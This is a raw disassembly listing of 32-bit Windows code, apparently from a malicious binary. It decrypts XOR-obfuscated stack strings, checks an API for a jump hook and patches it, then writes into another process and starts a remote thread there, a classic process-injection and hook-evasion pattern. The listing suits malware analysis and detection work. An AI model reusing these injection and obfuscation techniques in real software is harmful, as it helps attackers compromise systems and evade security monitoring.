mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1aa8], 0xfa3bfc88
lea eax, [ebp - 0x1a78]
mov dword [ebp - 0x1aa4], 0xaa18d68b
push eax
lea eax, [ebp - 0x1aa8]
mov dword [ebp - 0x1aa0], 0xf40ce703
push eax
lea ecx, [ebp - 0x30a8]
mov dword [ebp - 0x1a9c], 0xf971567a
mov dword [ebp - 0x1a98], 0xb633f93
mov dword [ebp - 0x1a94], 0xd60799f1
mov dword [ebp - 0x1a90], 0x4dd04326
mov dword [ebp - 0x1a8c], 0xf48d5e6d
mov dword [ebp - 0x1a88], 0x483aba2c
mov dword [ebp - 0x1a84], 0x52693a77
mov dword [ebp - 0x1a80], 0x10dc2704
mov dword [ebp - 0x1a7c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1aa8]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1ad8]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x30a0]
mov dword [ebp - 0x1ad8], 0x8e528edf
mov dword [ebp - 0x1ad4], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1ad0], 0x877f8260
mov dword [ebp - 0x1acc], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1ac8], 0x6d4346e1
mov dword [ebp - 0x1ac4], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1ac0], 0x24a76342
mov dword [ebp - 0x1abc], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1ab8], 0x685fde43
mov dword [ebp - 0x1ab4], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1ab0], 0x10dc2704
mov dword [ebp - 0x1aac], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1ad8]
mov dword [ebp - 0x1090], 0xfa3bfc88
push eax
lea eax, [ebp - 0x1b08]
mov dword [ebp - 0x108c], 0xaa18d68b
push eax
lea ecx, [ebp - 0x3098]
mov dword [ebp - 0x1b08], 0xfa3bfc88
mov dword [ebp - 0x1b04], 0xaa18d68b
mov dword [ebp - 0x1088], 0xf40ce703
mov dword [ebp - 0x1084], 0xf971567a
mov dword [ebp - 0x1b00], 0xf40ce703
mov dword [ebp - 0x1afc], 0xf971567a
mov dword [ebp - 0x1080], 0xb633f93
mov dword [ebp - 0x107c], 0xd60799f1
mov dword [ebp - 0x1af8], 0xb633f93
mov dword [ebp - 0x1af4], 0xd60799f1
mov dword [ebp - 0x1078], 0x4dd04326
mov dword [ebp - 0x1074], 0xf48d5e6d
mov dword [ebp - 0x1af0], 0x4dd04326
mov dword [ebp - 0x1aec], 0xf48d5e6d
mov dword [ebp - 0x1070], 0x483aba2c
mov dword [ebp - 0x106c], 0x52693a77
mov dword [ebp - 0x1ae8], 0x483aba2c
mov dword [ebp - 0x1ae4], 0x52693a77
mov dword [ebp - 0x1068], 0x10dc2704
mov dword [ebp - 0x1064], 0xf6b6539b
mov dword [ebp - 0x1ae0], 0x10dc2704
mov dword [ebp - 0x1adc], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x1090]
lea eax, [ebp - 0x1090]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1090], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1080]
movaps xmmword [ebp - 0x1080], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1070]
push esi
push eax
movaps xmmword [ebp - 0x1070], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccca
push 0
push 0x720
lea eax, [ebp - 0x29a8]
push eax
push dword [ebp - 0x2b58]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c2ef
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1b38], 0xfa3bfc88
lea eax, [ebp - 0x1b08]
mov dword [ebp - 0x1b34], 0xaa18d68b
push eax
lea eax, [ebp - 0x1b38]
mov dword [ebp - 0x1b30], 0xf40ce703
push eax
lea ecx, [ebp - 0x3090]
mov dword [ebp - 0x1b2c], 0xf971567a
mov dword [ebp - 0x1b28], 0xb633f93
mov dword [ebp - 0x1b24], 0xd60799f1
mov dword [ebp - 0x1b20], 0x4dd04326
mov dword [ebp - 0x1b1c], 0xf48d5e6d
mov dword [ebp - 0x1b18], 0x483aba2c
mov dword [ebp - 0x1b14], 0x52693a77
mov dword [ebp - 0x1b10], 0x10dc2704
mov dword [ebp - 0x1b0c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1b38]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1b68]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3088]
mov dword [ebp - 0x1b68], 0x8e528edf
mov dword [ebp - 0x1b64], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1b60], 0x877f8260
mov dword [ebp - 0x1b5c], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1b58], 0x6d4346e1
mov dword [ebp - 0x1b54], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1b50], 0x24a76342
mov dword [ebp - 0x1b4c], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1b48], 0x685fde43
mov dword [ebp - 0x1b44], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1b40], 0x10dc2704
mov dword [ebp - 0x1b3c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1b68]
mov dword [ebp - 0x1060], 0xfa3bfc88
push eax
lea eax, [ebp - 0x1b98]
mov dword [ebp - 0x105c], 0xaa18d68b
push eax
lea ecx, [ebp - 0x3080]
mov dword [ebp - 0x1b98], 0xfa3bfc88
mov dword [ebp - 0x1b94], 0xaa18d68b
mov dword [ebp - 0x1058], 0xf40ce703
mov dword [ebp - 0x1054], 0xf971567a
mov dword [ebp - 0x1b90], 0xf40ce703
mov dword [ebp - 0x1b8c], 0xf971567a
mov dword [ebp - 0x1050], 0xb633f93
mov dword [ebp - 0x104c], 0xd60799f1
mov dword [ebp - 0x1b88], 0xb633f93
mov dword [ebp - 0x1b84], 0xd60799f1
mov dword [ebp - 0x1048], 0x4dd04326
mov dword [ebp - 0x1044], 0xf48d5e6d
mov dword [ebp - 0x1b80], 0x4dd04326
mov dword [ebp - 0x1b7c], 0xf48d5e6d
mov dword [ebp - 0x1040], 0x483aba2c
mov dword [ebp - 0x103c], 0x52693a77
mov dword [ebp - 0x1b78], 0x483aba2c
mov dword [ebp - 0x1b74], 0x52693a77
mov dword [ebp - 0x1038], 0x10dc2704
mov dword [ebp - 0x1034], 0xf6b6539b
mov dword [ebp - 0x1b70], 0x10dc2704
mov dword [ebp - 0x1b6c], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x1060]
lea eax, [ebp - 0x1060]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1060], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1050]
movaps xmmword [ebp - 0x1050], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1040]
push esi
push eax
movaps xmmword [ebp - 0x1040], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccca
lea eax, [ebp - 0x18e8]
mov dword [ebp - 0x1908], 0xc720ea93
push eax
lea eax, [ebp - 0x1908]
mov dword [ebp - 0x1904], 0xac1eef80
push eax
lea ecx, [ebp - 0x3078]
mov dword [ebp - 0x1900], 0xfd16ee01
mov dword [ebp - 0x18fc], 0xe3746752
mov dword [ebp - 0x18f8], 0x6d432d8f
mov dword [ebp - 0x18f4], 0xb36bf090
mov dword [ebp - 0x18f0], 0x24a76342
mov dword [ebp - 0x18ec], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x18c8]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x18e8]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3070]
mov dword [ebp - 0x18e8], 0x8e528edf
mov dword [ebp - 0x18e4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x18e0], 0x877f8260
mov dword [ebp - 0x18dc], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x18d8], 0x6d4346e1
mov dword [ebp - 0x18d4], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x18d0], 0x24a76342
mov dword [ebp - 0x18cc], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x18a8]
mov dword [ebp - 0xd30], 0xc720ea93
push eax
lea eax, [ebp - 0x18c8]
mov dword [ebp - 0xd2c], 0xac1eef80
push eax
lea ecx, [ebp - 0x3068]
mov dword [ebp - 0x18c8], 0xc720ea93
mov dword [ebp - 0x18c4], 0xac1eef80
mov dword [ebp - 0xd28], 0xfd16ee01
mov dword [ebp - 0xd24], 0xe3746752
mov dword [ebp - 0x18c0], 0xfd16ee01
mov dword [ebp - 0x18bc], 0xe3746752
mov dword [ebp - 0xd20], 0x6d432d8f
mov dword [ebp - 0xd1c], 0xb36bf090
mov dword [ebp - 0x18b8], 0x6d432d8f
mov dword [ebp - 0x18b4], 0xb36bf090
mov dword [ebp - 0xd18], 0x24a76342
mov dword [ebp - 0xd14], 0x97ad3619
mov dword [ebp - 0x18b0], 0x24a76342
mov dword [ebp - 0x18ac], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xd30]
lea eax, [ebp - 0x2fb0]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3060]
movaps xmmword [ebp - 0xd30], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd20]
push eax
lea eax, [ebp - 0x2fc0]
movaps xmmword [ebp - 0xd20], xmm1
push eax
mov dword [ebp - 0x2fc0], 0xe236fab1
mov dword [ebp - 0x2fbc], 0xa90ea882
mov dword [ebp - 0x2fb8], 0x877f820c
mov dword [ebp - 0x2fb4], 0x961c3337
call fcn.0045f460
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x2b70], 0x8e528edf
mov dword [ebp - 0x2b6c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2b68], 0x877f8260
lea eax, [ebp - 0x2b60]
mov dword [ebp - 0x2b64], 0x961c3337
push eax
lea eax, [ebp - 0x2b70]
push eax
lea ecx, [ebp - 0x3058]
call fcn.0045f460
lea eax, [ebp - 0x2b70]
mov dword [ebp - 0xa00], 0xe236fab1
push eax
lea eax, [ebp - 0x2b80]
mov dword [ebp - 0x9fc], 0xa90ea882
push eax
lea ecx, [ebp - 0x3050]
mov dword [ebp - 0x2b80], 0xe236fab1
mov dword [ebp - 0x2b7c], 0xa90ea882
mov dword [ebp - 0x9f8], 0x877f820c
mov dword [ebp - 0x9f4], 0x961c3337
mov dword [ebp - 0x2b78], 0x877f820c
mov dword [ebp - 0x2b74], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xa00]
lea eax, [ebp - 0xa00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa00], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xd30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2b50], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x1c], 0xe9
jne 0x45c670
mov eax, dword [ebp - 0x2b50]
push 0
push 5
push eax
push eax
push esi
mov byte [ebp - 0x2b3d], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x2b58]
push dword [ebp - 0x2b4c]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2b48], eax
test eax, eax
jne 0x45c9c3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1bc8], 0xef37fc9c
lea eax, [ebp - 0x1b98]
mov dword [ebp - 0x1bc4], 0xa038e39a
push eax
lea eax, [ebp - 0x1bc8]
mov dword [ebp - 0x1bc0], 0xe20bed0d
push eax
lea ecx, [ebp - 0x3048]
mov dword [ebp - 0x1bbc], 0xf36e5b63
mov dword [ebp - 0x1bb8], 0xb632280
mov dword [ebp - 0x1bb4], 0xd60799f1
mov dword [ebp - 0x1bb0], 0x4dd04326
mov dword [ebp - 0x1bac], 0xf48d5e6d
mov dword [ebp - 0x1ba8], 0x483aba2c
mov dword [ebp - 0x1ba4], 0x52693a77
mov dword [ebp - 0x1ba0], 0x10dc2704
mov dword [ebp - 0x1b9c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1c58]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1c88]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3040]
mov dword [ebp - 0x1c88], 0x8e528edf
mov dword [ebp - 0x1c84], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1c80], 0x877f8260
mov dword [ebp - 0x1c7c], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1c78], 0x6d4346e1
mov dword [ebp - 0x1c74], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1c70], 0x24a76342
mov dword [ebp - 0x1c6c], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1c68], 0x685fde43
mov dword [ebp - 0x1c64], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1c60], 0x10dc2704
mov dword [ebp - 0x1c5c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1cb8]
mov dword [ebp - 0x1030], 0xef37fc9c
push eax
lea eax, [ebp - 0x1ce8]
mov dword [ebp - 0x102c], 0xa038e39a
push eax
lea ecx, [ebp - 0x3038]
mov dword [ebp - 0x1ce8], 0xef37fc9c
mov dword [ebp - 0x1ce4], 0xa038e39a
mov dword [ebp - 0x1028], 0xe20bed0d
mov dword [ebp - 0x1024], 0xf36e5b63
mov dword [ebp - 0x1ce0], 0xe20bed0d
mov dword [ebp - 0x1cdc], 0xf36e5b63
mov dword [ebp - 0x1020], 0xb632280
mov dword [ebp - 0x101c], 0xd60799f1
mov dword [ebp - 0x1cd8], 0xb632280
mov dword [ebp - 0x1cd4], 0xd60799f1
mov dword [ebp - 0x1018], 0x4dd04326
mov dword [ebp - 0x1014], 0xf48d5e6d
mov dword [ebp - 0x1cd0], 0x4dd04326
mov dword [ebp - 0x1ccc], 0xf48d5e6d
mov dword [ebp - 0x1010], 0x483aba2c
mov dword [ebp - 0x100c], 0x52693a77
mov dword [ebp - 0x1cc8], 0x483aba2c
mov dword [ebp - 0x1cc4], 0x52693a77
mov dword [ebp - 0x1008], 0x10dc2704
mov dword [ebp - 0x1004], 0xf6b6539b
mov dword [ebp - 0x1cc0], 0x10dc2704
mov dword [ebp - 0x1cbc], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x1030]
lea eax, [ebp - 0x1030]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1030], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1020]
movaps xmmword [ebp - 0x1020], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1010]
push esi
push eax
movaps xmmword [ebp - 0x1010], xmm1
call fcn.0044b300
add esp, 8
cmp byte [ebp - 0x2b3d], 0
je 0x45ccca
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2b50]
push dword [ebp - 0x2b54]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45ccca
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x2b44], eax
call edi
cmp byte [ebp - 0x2b3d], 0
je 0x45ca00
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2b50]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2b60]
push eax
push dword [ebp - 0x2b48]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x2b44]
cmp eax, 0x102
je 0x45ca6d
cmp eax, 0x80
je 0x45ca6d
mov eax, dword [ebp - 0x2b60]
test eax, eax
je 0x45ca6d
cmp eax, 0xffffffff
je 0x45ca6d
push 0x2710
call edi
push 0x8000
push 0
push dword [ebp - 0x2b4c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2b58]
push dword [ebp - 0x2b54]
call esi
jmp 0x45d049
push dword [ebp - 0x2b48]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push dword [ebp - 0x2b4c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2b58]
push dword [ebp - 0x2b54]
call esi
push dword [ebp - 0x2b54]
call edi
lea eax, [ebp - 0x1888]
mov dword [ebp - 0x18a8], 0xeb38e096
push eax
lea eax, [ebp - 0x18a8]
mov dword [ebp - 0x18a4], 0xa44af28d
push eax
lea ecx, [ebp - 0x3030]
mov dword [ebp - 0x18a0], 0xea1af614
mov dword [ebp - 0x189c], 0xf03c4747
mov dword [ebp - 0x1898], 0x82f2f80
mov dword [ebp - 0x1894], 0xb36bfaf4
mov dword [ebp - 0x1890], 0x24a76342
mov dword [ebp - 0x188c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1868]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1888]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x2ff0]
mov dword [ebp - 0x1888], 0x8e528edf
mov dword [ebp - 0x1884], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1880], 0x877f8260
mov dword [ebp - 0x187c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1878], 0x6d4346e1
mov dword [ebp - 0x1874], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1870], 0x24a76342
mov dword [ebp - 0x186c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1848]
mov dword [ebp - 0xd50], 0xeb38e096
push eax
lea eax, [ebp - 0x1868]
mov dword [ebp - 0xd4c], 0xa44af28d
push eax
lea ecx, [ebp - 0x3028]
mov dword [ebp - 0x1868], 0xeb38e096
mov dword [ebp - 0x1864], 0xa44af28d
mov dword [ebp - 0xd48], 0xea1af614
mov dword [ebp - 0xd44], 0xf03c4747
mov dword [ebp - 0x1860], 0xea1af614
mov dword [ebp - 0x185c], 0xf03c4747
mov dword [ebp - 0xd40], 0x82f2f80
mov dword [ebp - 0xd3c], 0xb36bfaf4
mov dword [ebp - 0x1858], 0x82f2f80
mov dword [ebp - 0x1854], 0xb36bfaf4
mov dword [ebp - 0xd38], 0x24a76342
mov dword [ebp - 0xd34], 0x97ad3619
mov dword [ebp - 0x1850], 0x24a76342
mov dword [ebp - 0x184c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd50]
pxor xmm1, xmmword [ebp - 0xd50]
movaps xmmword [ebp - 0xd50], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd40]
movaps xmmword [ebp - 0xd40], xmm1
push eax
call fcn.0044b300
mov edi, dword [ebp - 0x2b3c]
add esp, 4
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45ccd3
sub ecx, edx
lea edx, [ebp - 0x228]
sar ecx, 1
push ecx
mov ecx, edi
call fcn.00454490
add esp, 4
test al, al
jne 0x45d049
lea eax, [ebp - 0x1828]
mov dword [ebp - 0x1848], 0xfd3ce788
push eax
lea eax, [ebp - 0x1848]
mov dword [ebp - 0x1844], 0xe501e581
push eax
lea ecx, [ebp - 0x3020]
mov dword [ebp - 0x1840], 0xe215ec09
mov dword [ebp - 0x183c], 0xf73c4754
mov dword [ebp - 0x1838], 0x263295
mov dword [ebp - 0x1834], 0xd54b84e0
mov dword [ebp - 0x1830], 0x41cb0a23
mov dword [ebp - 0x182c], 0x97ad3c7d
call fcn.0045f460
lea eax, [ebp - 0x1808]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1828]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3018]
mov dword [ebp - 0x1828], 0x8e528edf
mov dword [ebp - 0x1824], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1820], 0x877f8260
mov dword [ebp - 0x181c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1818], 0x6d4346e1
mov dword [ebp - 0x1814], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1810], 0x24a76342
mov dword [ebp - 0x180c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x17e8]
mov dword [ebp - 0xd70], 0xfd3ce788
push eax
lea eax, [ebp - 0x1808]
mov dword [ebp - 0xd6c], 0xe501e581
push eax
lea ecx, [ebp - 0x3010]
mov dword [ebp - 0x1808], 0xfd3ce788
mov dword [ebp - 0x1804], 0xe501e581
mov dword [ebp - 0xd68], 0xe215ec09
mov dword [ebp - 0xd64], 0xf73c4754
mov dword [ebp - 0x1800], 0xe215ec09
mov dword [ebp - 0x17fc], 0xf73c4754
mov dword [ebp - 0xd60], 0x263295
mov dword [ebp - 0xd5c], 0xd54b84e0
mov dword [ebp - 0x17f8], 0x263295
mov dword [ebp - 0x17f4], 0xd54b84e0
mov dword [ebp - 0xd58], 0x41cb0a23
mov dword [ebp - 0xd54], 0x97ad3c7d
mov dword [ebp - 0x17f0], 0x41cb0a23
mov dword [ebp - 0x17ec], 0x97ad3c7d
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd70]
pxor xmm1, xmmword [ebp - 0xd70]
movaps xmmword [ebp - 0xd70], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd60]
push eax
movaps xmmword [ebp - 0xd60], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2b90], 0xdd07cf8f
lea eax, [ebp - 0x2b80]
mov dword [ebp - 0x2b8c], 0xc56a86ab
lea ecx, [ebp - 0x3008]
mov dword [ebp - 0x2b88], 0x877f8260
mov dword [ebp - 0x2b84], 0x961c3337
push eax
lea eax, [ebp - 0x2b90]
push eax
call fcn.0045f460
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x2ba0], 0x8e528edf
lea eax, [ebp - 0x2b90]
mov dword [ebp - 0x2b9c], 0xc56a86ee
push eax
lea eax, [ebp - 0x2ba0]
mov dword [ebp - 0x848], 0x877f8260
push eax
lea ecx, [ebp - 0x3000]
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2b98], 0x877f8260
mov dword [ebp - 0x2b94], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2ba0]
mov dword [ebp - 0xae0], 0xdd07cf8f
push eax
lea eax, [ebp - 0x2bb0]
mov dword [ebp - 0xadc], 0xc56a86ab
push eax
lea ecx, [ebp - 0x2ff8]
mov dword [ebp - 0x2bb0], 0xdd07cf8f
mov dword [ebp - 0x2bac], 0xc56a86ab
mov dword [ebp - 0xad8], 0x877f8260
mov dword [ebp - 0xad4], 0x961c3337
mov dword [ebp - 0x2ba8], 0x877f8260
mov dword [ebp - 0x2ba4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xae0]
pxor xmm1, xmmword [ebp - 0xae0]
push eax
movaps xmmword [ebp - 0xae0], xmm1
call fcn.005d657d
add esp, 4
call fcn.0044d800
lea ecx, [ebp - 0x1370]
call fcn.0045e570
lea ecx, [ebp - 0x8e8]
call fcn.0045e570
lea ecx, [ebp - 0x1358]
call fcn.0045e570
lea ecx, [ebp - 0x978]
call fcn.0045e570
lea ecx, [ebp - 0x1388]
call fcn.0045e570
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c77ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x1330], 0x6202389
lea eax, [ebp - 0x1340]
mov dword [ebp - 0x132c], 0xc11995b0
mov dword [ebp - 0x1328], 0x48b112d
mov dword [ebp - 0x1324], 0xf6c85a69
mov dword [ebp - 0x1320], 0xb7fbb30
mov dword [ebp - 0x131c], 0x39003b3a
mov dword [ebp - 0x1318], 0x65b35e24
mov dword [ebp - 0x1314], 0x93d873e9
mov dword [ebp - 0x1310], 0x9fd0bf31
mov dword [ebp - 0x130c], 0x302e87f
mov dword [ebp - 0x1308], 0x871e1328
mov dword [ebp - 0x1304], 0x498cf2c9
mov dword [ebp - 0x1300], 0xf1c1dce7
mov dword [ebp - 0x12fc], 0x971d3e56
mov dword [ebp - 0x12f8], 0x934a4048
mov dword [ebp - 0x12f4], 0x5ed9f316
mov dword [ebp - 0x12f0], 0x3be882c9
mov dword [ebp - 0x12ec], 0xabe71ed8
mov dword [ebp - 0x12e8], 0x6e7c2aca
mov dword [ebp - 0x12e4], 0x27e7baa1
mov dword [ebp - 0x1340], 0xea33e193
mov dword [ebp - 0x133c], 0xb34af48b
mov dword [ebp - 0x1338], 0xee0cf005
mov dword [ebp - 0x1334], 0xf53c5d58
movaps xmm1, xmmword [ebp - 0x1340]
mov dword [ebp - 0x8d0], 0x8e528edf
mov dword [ebp - 0x8cc], 0xc56a86ee
mov dword [ebp - 0x8c8], 0x877f8260
mov dword [ebp - 0x8c4], 0x961c3337
pxor xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x1340], xmm1
mov dword [ebp - 0x8c0], 0x6d4346e1
mov dword [ebp - 0x8bc], 0xb36bf090
mov dword [ebp - 0x8b8], 0x24a76342
mov dword [ebp - 0x8b4], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x8c0]
pxor xmm1, xmmword [ebp - 0x1330]
movaps xmmword [ebp - 0x1330], xmm1
mov dword [ebp - 0x8b0], 0x685fde43
mov dword [ebp - 0x8ac], 0x52635e52
mov dword [ebp - 0x8a8], 0x10dc2704
mov dword [ebp - 0x8a4], 0xf6b6539b
movaps xmm1, xmmword [ebp - 0x8b0]
pxor xmm1, xmmword [ebp - 0x1320]
movaps xmmword [ebp - 0x1320], xmm1
mov dword [ebp - 0x8a0], 0xedbfc845
mov dword [ebp - 0x89c], 0x6c61c814
mov dword [ebp - 0x898], 0xe47b7d46
mov dword [ebp - 0x894], 0x27e39bbd
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1310]
movaps xmmword [ebp - 0x1310], xmm1
mov dword [ebp - 0x890], 0x95afbdc7
mov dword [ebp - 0x88c], 0xee6f4a76
mov dword [ebp - 0x888], 0xf22d2168
mov dword [ebp - 0x884], 0x54f79d7f
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1300]
movaps xmmword [ebp - 0x1300], xmm1
